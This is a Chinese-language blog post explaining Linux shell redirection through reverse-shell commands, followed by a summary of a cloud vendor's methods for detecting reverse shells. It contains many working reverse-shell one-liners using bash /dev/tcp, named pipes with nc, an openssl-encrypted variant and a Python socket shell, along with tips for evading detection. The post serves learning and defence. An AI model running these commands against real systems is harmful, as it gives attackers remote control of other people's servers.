重拾Linux文件重定向-2


=Start=

缘由:

因为工作性质的变化,我已经很久没有关注IDC安全方面的内容了(很久之前搞了一段时间的Bash源码改写以支持bash命令的实时记录以及基于此的恶意命令分析)。前段时间在群里看到了一条反弹shell的命令,和之前我整理时略有不同的地方在于openssl命令的引入,对请求响应的流量做了加密,以规避在网络层面的异常检测。因为之前只是收集和记录了各编程语言一句话反弹shell的内容,但并没有具体拆解和学习这其中涉及到的知识点和原理,所以记忆并不深刻、命令敲起来也不够熟练(基本就是靠搜索/复制/粘贴),趁着最近有点时间,再整理和学习一下,加深记忆方便后面直接使用和参考。

正文:

参考解答:

先简要回顾一下前一篇中的重定向标准输出和错误输出,以及文件描述符的复制的内容:

  • 重定向标准输出和错误输出
# 有2种格式的写法

# 写法一,推荐的简写用法
&>word

# 写法二
>&word

# 上面两种写法【建议使用第一种】,都等价于下面这种更易于理解的写法
>word 2>&1
  • 文件描述符的复制
# 用于复制【输入】文件描述符,将 word 展开之后的文件的输入复制到文件描述符n上,若n没有指定则默认为0
[n]<&word

[n]<&word #表示用 word 扩展出的文件描述符的值覆盖 n ,**最后word和n的值都相等,都是原先word的指向**,即用word做为n的输入,n默认为0即标准输入

# 用于复制【输出】文件描述符(比较好理解),n默认为1,特别的当n省略时就是之前介绍过的——重定向标准输出和错误输出
[n]>&word

[n]>&word #将文件描述符 n 代表的文件输出重定向到了 word 上,**最后word和n的值都相等,都是原先word的指向**,输出到n的也都同样输出到了word,特殊情况若n省略,就是将标准输出和错误输出都输出到了word中


# 即,不管是复制输入还是复制输出,有一个点是相同的,最后两者的值相同,都是原先的word,区别在于一个用word作为输入,一个用word作为输出

# 不管是哪个,最后 word 和 n 的值都是相等的,且都是word的值,所以 0>&1 == 0<&1 == <&1 这3者等价(输入输出连接成了环状,在终端交互的表现就是输入什么就输出什么)

之前只是回顾了基本的知识点,对于一些简单的用法可以直接进行分辨,但是缺少了真实场景中的案例分析(各种命令的使用及花式变形让人很难理解,容易出现一看就会一分析就懵的情况),这里拿一些案例做说明,用于巩固和加强前面知识点的理解和记忆。

从最简单的反弹shell命令开始
# 重定向输出
# 问题:只是把受害者机器上执行命令的标准输出重定向显示到了攻击者到机器上,攻击者没有实现对受害者的控制,攻击者没法在受害者机器上执行命令
$ bash -i > /dev/tcp/127.0.0.1/23333

# 重定向输出+重定向输入
# 问题:攻击者可以在受害者机器上执行命令(不过没有命令提示符),但是攻击者输入的任何命令(还有错误输出)都会显示在受害者机器的终端上,且错误输出攻击者看不到
$ bash -i > /dev/tcp/127.0.0.1/23333 0>&1

# 重定向输出+重定向输入+重定向错误输出
# 问题:无
$ bash -i > /dev/tcp/127.0.0.1/23333 0>&1 2>&1

# 重定向输出+重定向错误输出+重定向输入(注意这里的几个重定向顺序和上面有些许调整——重定向输入被放在了最后)
# 问题:无,相比上面那个版本来讲更简洁,但对于新手来讲不太好理解,且因为一些兼容性问题不被重定向的规范推荐
$ bash -i >& /dev/tcp/127.0.0.1/23333 0>&1
# 建议下面这种
$ bash -i &> /dev/tcp/127.0.0.1/23333 0>&1

# 下面是各种简单的变形

# 移除部分空格,没有影响
bash -i &> /dev/tcp/127.0.0.1/23333 0>&1
bash -i &>/dev/tcp/127.0.0.1/23333 0>&1
bash -i&> /dev/tcp/127.0.0.1/23333 0>&1
bash -i&>/dev/tcp/127.0.0.1/23333 0>&1

# 从规范推荐的 &> 变成了网上文章中出现较多的 >& 也可以
bash -i >& /dev/tcp/127.0.0.1/23333 0>&1
bash -i >& /dev/tcp/127.0.0.1/23333 0<&1
bash -i >& /dev/tcp/127.0.0.1/23333 <&1

# 把 标准输出1 改成了 错误输出2 也是一样,因为1和2此时指向同一个地方
bash -i >& /dev/tcp/127.0.0.1/23333 0>&2
bash -i >& /dev/tcp/127.0.0.1/23333 0<&2
bash -i >& /dev/tcp/127.0.0.1/23333 <&2


# 对于文件重定向中 & 符号的用法,我这里有一个简单的记忆方法,非官方不一定准确,但就我看到的这些例子来说还都是对的:
1. 如果 & 后面接的是一个数字(这里以 n 为例),则n代表的是一个文件描述符,即 >&n 表明将文件描述符n代表的文件作为输出,<&n 表明将文件描述符n代表的文件作为输入;
2. 如果 & 后面接的是一个具体的文件路径,作用是将程序的错误输出进行重定向;
3. 如果 & 后面既没有接数字也没有接具体文件路径,则默认是 错误输出(2) ,即把程序的错误输出进行重定向。
复杂点重定向命令的理解
# 反弹shell命令的选取逻辑和目标主要是——兼容性较好且灵活易用(命令默认安装且不同平台的相关特性差异不大),不易被检测(特征较少且不明显)。


# 先将特定socket文件以读写方式绑定到文件描述符6上面,然后通过将6中的内容输入到标准输入中
# 再对输入进行打印并循环读取+将读取的内容作为命令执行+并将标准输出和错误输出重定向到6上面实现输入输出的闭环
exec 6<>/dev/tcp/127.0.0.1/23333;cat <&6|while read line;do $line >&6 2>&1;done


# 将文件描述符6的输入复制到标准输入0上,同时将特定socket文件以读写方式绑定到文件描述符6上
# 再把6的输入传递给shell,把标准输出和错误输出重定向到6上,实现整体闭环
0<&6;exec 6<>/dev/tcp/127.0.0.1/23333; bash <&6 >&6 2>&6 #bash: 6: 错误的文件描述符
0<&6;exec 6<>/dev/tcp/127.0.0.1/23333; bash -i <&6 >&6 2>&6 #添加-i选项之后就没有错误提示了


# 创建一个命名管道,同时将命名管道中的内容传递给启用交互模式选项的shell,把shell里的错误输出绑定到标准输出上一起传递给nc创建的socket文件
# socket文件的输出重定向到刚才的命名管道中(作为命名管道的内容),完成了把输入和输出都重定向到shell的闭环
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 127.0.0.1 23333 >/tmp/f


# 用mknod命令创建一个管道,同时将管道的内容作为输入传递给nc命令
# nc命令的输出作为shell的输入,shell的标准输出和错误输出重定向到管道里,完成了输入和输出的闭环
mknod fp p;nc 127.0.0.1 23333 0<fp | /bin/bash 1>fp 2>fp


# 创建一个命名管道,并将管道中的内容作为输入传递给shell,shell的错误输出绑定到标准输出上一起传递给openssl命令
# openssl命令的输出重定向到管道中(至此在管道中已经完成了shell命令输入输出的闭环,且是先有输入再有输出)
# 删除这个管道文件(因为进程已经在运行了,所以即便删掉本地文件但内存中还是有一份,不会影响已经跑起来的程序),避免被发现
rm /tmp/s; mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 127.0.0.1:23333 > /tmp/s; rm /tmp/s
反弹Shell的检测

反弹Shell是黑客(即Shell攻击者)用于控制受害服务器的一种手段。Shell攻击者指定服务端,并将需要受害服务器执行的命令(标准输入、标准输出、标准错误等)重定向到该服务端。受害服务器主动连接攻击者的服务端程序,攻击者的服务端通过监听来自受害服务器的请求,对目标服务器下发指令并获取执行结果,以达到攻击者可以控制受害服务器的目的。

阿里云云安全中心之前搞过一个对攻击链路中实现反弹Shell的语言及工具使用率的统计,从统计中可以看出弹Shell实现的方式灵活多样,每种语言都可以进一步延伸和扩展。因此,为了保障最优的检出效果,反弹Shell的检测方案需要综合考虑多种场景因素。

常规检测方法的缺陷它们也列出来了:

  • shell操作日志记录难以记完整;
  • 正则匹配不完全不准确;
  • 流量加密无法分析。

因为表层对抗是无穷无尽的,检测需要由表及里,尽可能挖掘出更本质的解决方法。从检测的角度来看,反弹Shell的本质可以理解为:网络通信+命令执行+重定向方式。

命令执行和网络通信借助重定向,可以构建出一条流动的数据通道。攻击者可以利用这条通道下发指令控制受害服务器。不同的实现方式组合在一起,就形成了多种多样的反弹Shell。例如:

  • 网络通信可以使用TCP、UDP、ICMP等协议,TCP协议再细分又可以包含HTTP、HTTPS协议等,UDP包含DNS等。
  • 命令执行可以通过调用Shell解释器、Glibc库、Syscall等方式实现。
  • 重定向可以通过管道、成对的伪终端、内存文件等实现。

从检测的角度,可以将反弹Shell分为以下三种类型:

第一类反弹Shell:直接重定向Shell的输入输出到Socket
bash -i >& /dev/tcp/x.x.x.x/6666 0>&1

这类反弹Shell的检测可以通过检测Shell的标准输入、标注输出是否被重定向到Socket或检测一些简单的主机网络日志特征来实现。

第二类反弹Shell:通过管道、伪终端等中转,再重定向Shell的输入输出到中转

此类反弹Shell借助管道、伪终端等进行中转,例如下面这个典型案例将sh -i的标准输入、标准输出、标准错误重定向到命名管道/tmp/f,同时加密通信数据也流向该命名管道。

mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | openssl s_client -quiet -connect x.x.x.x:6666 > /tmp/f

在某些变形的场景下,可能经过层层中转,但无论经过几层最终都会形成一条流动的数据通道。通过跟踪FD(文件描述符File Descriptor)和进程的关系可以检测该数据通道。

通过伪终端中转与通过管道等中转原理一样,但通过伪终端中转的检测难度大大提升,单从Shell的标准输入输出来看,和正常打开的终端没有什么区别。此外,一些场景如容器、各类产品Agent等也会有相似的日志记录,平衡漏报与误报的难度上大大提升。因此我们在文件描述符检测方案的基础上,结合进程、网络等多种日志信息综合分析。

第三类反弹Shell:编程语言实现标准输入中转,重定向命令执行的输入到中转

第三种类型反弹Shell通过编程语言实现标准输入的中转,然后重定向命令执行的输入到中转,标准输出和标准错误中转形式不限制。以下是该类型反弹Shell的典型示例:

python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('x.x.x.x',6666))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), stdout=subprocess.PIPE, stderr=subprocess.PIPE,Shell=True);s.send(proc.stdout.read()+proc.stderr.read())\")"

在这种场景下,反弹Shell的命令执行和正常业务行为变得更加难以区分,对抗程度上升,除了从进程命令行尽可能的覆盖这类反弹Shell的特征以外,云安全中心通过异常命令行为序列、异常Shell启动模型检测该类反弹Shell。

异常命令行为序列模型通过分析命令序列与攻击者获取Shell后行为相似度来判定是否为反弹Shell。而异常Shell启动模型结合多维度特征以及机器历史行为综合判定产出告警。

攻击与防御技术总是在不断的对抗中升级,攻击技术任何单点的突破都可能形成稳定绕过防御技术的局面。理论上任何一种反弹Shell检测都不是完美的,特别是第三类反弹Shell。云安全中心支持纵深检测,采用多维度交叉检测反弹Shell方案,通过进程特征覆盖、文件描述符分析、命令行为序列、异常Shell启动、二进制沙箱、脚本沙箱、流量特征覆盖、对抗行为检测共八项技术在不同入侵阶段埋点,从而最大程度保障检出效果。

除了分类检测思想中介绍的更贴近反弹Shell本质的FD检测技术、从行为目的出发的异常命令行为序列检测技术异常Shell启动检测和常规的命令、网络特征覆盖方案以外,云安全中心同时使用以下检测技术:

  • 脚本沙箱
  • 二进制沙箱–云安全中心对于常见的C/C++、Go、MeterPreter Shellcode等二进制反弹Shell开发方式进行了特殊的识别和处理,综合导入函数特征、代码特征、二进制在沙箱中的动态行为特征等多个维度进行检测。
  • 流量特征分析–云安全中心覆盖常见Shell通信特征,辅助提升反弹Shell检测效果。
  • 对抗行为检测–云安全中心覆盖常见绕过方式,如替换系统Shell、命令编码等,作为辅助手段提升检测效果。

攻防相长,未知攻焉知防,多学习多总结多测试才能有提高。

参考链接:

各种反弹shell记录/总结
https://ixyzero.com/blog/archives/3275.html

重定向的一些注意事项{“2>&1 > file”和 “> file 2>&1″区别}
https://ixyzero.com/blog/archives/666.html

Linux 反弹shell(二)反弹shell的本质
https://www.k0rz3n.com/2018/08/05/Linux%20%E5%8F%8D%E5%BC%B9shell%20%EF%BC%88%E4%BA%8C%EF%BC%89%E5%8F%8D%E5%BC%B9shell%E7%9A%84%E6%9C%AC%E8%B4%A8/

反弹Shell学习记录
https://sentrylab.cn/blog/2022/%E5%8F%8D%E5%BC%B9Shell%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/

云安全中心反弹Shell多维检测技术详解
https://www.alibabacloud.com/help/zh/security-center/latest/detect-reverse-shells-from-multiple-dimensions

云上威胁检测 | 详解反弹shell多维检测技术
https://www.freebuf.com/articles/network/263684.html

Encrypted Reverse Shell for Pentester
https://www.hackingarticles.in/encrypted-reverse-shell-for-pentester/

Encrypted Bind and Reverse Shells with Socat (Linux/Windows)
https://erev0s.com/blog/encrypted-bind-and-reverse-shells-socat/

Day 43: Reverse Shell with OpenSSL
https://int0x33.medium.com/day-43-reverse-shell-with-openssl-1ee2574aa998

=END=


发表评论

您的电子邮箱地址不会被公开。